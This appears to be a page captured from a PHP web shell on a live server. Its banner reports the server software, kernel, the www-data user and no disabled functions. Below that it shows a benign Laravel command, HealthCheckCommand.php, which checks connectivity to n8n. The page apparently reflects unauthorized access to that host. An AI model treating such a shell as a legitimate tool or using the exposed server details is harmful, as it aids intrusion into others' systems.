( ′∀`)σ≡σ☆))Д′)レ(゚∀゚;)ヘ=З=З=Зε≡(ノ´_ゝ`)ノ HEX
HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux mail.thebrand.ai 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: www-data (33)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /var/www/html/tmpr/../tmpr/../tmpr/../tmpr/../tmpr/../n8nphp/src/Console/HealthCheckCommand.php
<?php

namespace KayedSpace\N8n\Console;

use Illuminate\Console\Command;
use KayedSpace\N8n\Facades\N8nClient;

class HealthCheckCommand extends Command
{
    protected $signature = 'n8n:health';

    protected $description = 'Check n8n instance connectivity and status';

    public function handle(): int
    {
        $this->info('Checking n8n instance health...');

        try {
            $workflows = N8nClient::workflows()->list(['limit' => 1]);

            $this->info('✓ Successfully connected to n8n');
            $this->info('✓ API is responsive');

            return self::SUCCESS;
        } catch (\Exception $e) {
            $this->error('✗ Failed to connect to n8n');
            $this->error('Error: '.$e->getMessage());

            return self::FAILURE;
        }
    }
}